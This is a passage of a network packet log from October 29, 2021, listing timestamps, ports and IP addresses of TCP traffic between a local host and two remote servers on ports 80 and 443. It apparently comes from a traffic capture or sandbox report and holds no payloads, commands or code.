Oct 29, 2021 15:31:19.675333023 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.675358057 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.675385952 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.675415039 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.675416946 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.675435066 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.675472021 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.675494909 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.675623894 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.675653934 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.675682068 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.675703049 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.675715923 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.675734997 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.676131010 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.676160097 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.676187038 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.676213980 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.676225901 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.676242113 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.676261902 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.676268101 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.676289082 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.676304102 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.676536083 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.676563978 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.676587105 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.676592112 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.676619053 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.676628113 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.676671028 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.676698923 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.676709890 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.676719904 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.676749945 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.676770926 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.676779032 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.676808119 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.676815033 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.676830053 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.676878929 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.676901102 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.676932096 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.676959038 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.676970005 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.676978111 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.677057028 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.677123070 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.677154064 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.677180052 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.677200079 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.677201033 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.677253962 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.677371979 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.677710056 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.677741051 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.677767992 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.677772045 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.677798033 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.677824974 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.677825928 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.677848101 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.677865028 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.677877903 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.677905083 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.677917957 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.677934885 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.677954912 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.677987099 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.678097010 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.678124905 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.678148985 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.678169966 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.678206921 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.678241968 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.678251028 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.678280115 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.678289890 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.678307056 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.678328991 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.678344965 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.678359032 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.678386927 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.678406954 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.678415060 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.678432941 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.678452015 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.678616047 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.678644896 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.678668022 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.678724051 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.678745031 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.678765059 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.679524899 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.679577112 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.679686069 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.679972887 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.679994106 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.723987103 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.726667881 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.726695061 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.734082937 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.744909048 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.744954109 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.744975090 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.744990110 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.745068073 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.745119095 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.745151043 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.745197058 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.745244980 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.745338917 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.745357990 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.745381117 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.745404959 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.745428085 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.745446920 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.745462894 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.745491028 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.745521069 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.745850086 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.745881081 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.745906115 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.745932102 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.745940924 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.745956898 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.745976925 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.745981932 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.746001959 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.746025085 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.746043921 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.746048927 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.746074915 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.746092081 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.746098995 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.746119022 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.746124029 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.746150017 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.746165991 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.746167898 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.746191025 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.746208906 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.746216059 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.746243000 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.746258974 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.746260881 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.746284962 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.746298075 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.746309996 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.746331930 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.746349096 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.746351004 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.746371984 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.746397018 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.746397972 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.746422052 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.746438980 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.746458054 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.746464014 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.746489048 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.746493101 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.746514082 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.746525049 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.746531010 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.746587038 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.746702909 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.746804953 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.746830940 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.746853113 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.746882915 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.746910095 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.746932030 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.746934891 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.746954918 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.746978998 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.746988058 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.747005939 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.747024059 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.747030973 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.747050047 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.747072935 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.747159004 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.747169971 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.747270107 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.747296095 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.747311115 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.747340918 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.747426033 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.747450113 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.747473001 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.747474909 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.747493982 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.747514963 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.747579098 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.747603893 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.747625113 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.747629881 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.747658968 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.747683048 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.748050928 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.748076916 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.748100042 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.748110056 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.748119116 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.748138905 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.788417101 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.788505077 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.788558006 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.788594007 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.788605928 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.788615942 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.788649082 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.788702965 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.788741112 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.788750887 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.788759947 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.788801908 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.788811922 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.788887024 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.788918018 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.788943052 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.788949013 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.788988113 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.788992882 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.789042950 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.789072990 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.789097071 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.789103031 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.789151907 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.789155960 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.789213896 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.789242029 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.789269924 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.789274931 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.789309978 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.789335966 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.789340973 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.789377928 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.789407015 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.789411068 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.789418936 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.789469957 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.789479971 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.789486885 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.789510965 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.789545059 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.789575100 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.789597988 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.789602995 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.789642096 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.789650917 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.789659023 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.789716005 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.789729118 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.789732933 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.789774895 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.789781094 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.789824963 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.789853096 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.789879084 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.789884090 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.789923906 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.789927959 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.789962053 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.789995909 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.790005922 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.790011883 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.790044069 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.790072918 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.790077925 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.790101051 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.807017088 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.807075977 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.807117939 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.807169914 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.807180882 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.807235003 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.807250023 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.807255983 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.807291985 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.807305098 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.807326078 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.807331085 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.807358027 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.807373047 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.807408094 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.807445049 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.807450056 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.807466030 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.807476997 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.807512045 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.807528019 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.807533026 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.807564974 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.807590961 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.807595968 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.807619095 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.807626963 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.807652950 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.807667017 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.807691097 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.807701111 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.807739019 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.807749033 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.807754040 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.807790995 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.807800055 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.807806969 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.807837963 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.807852030 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.807879925 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.807883978 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.807907104 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.813364029 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.813409090 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.813431025 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.813445091 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.813466072 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.813488007 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.813508987 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.813508034 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.813527107 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.813602924 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.813844919 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.813874960 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.813896894 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.813911915 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.813936949 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.813971996 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.814444065 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.814471960 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.814496040 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.814510107 CEST	49842	80	192.168.2.7	45.141.84.21
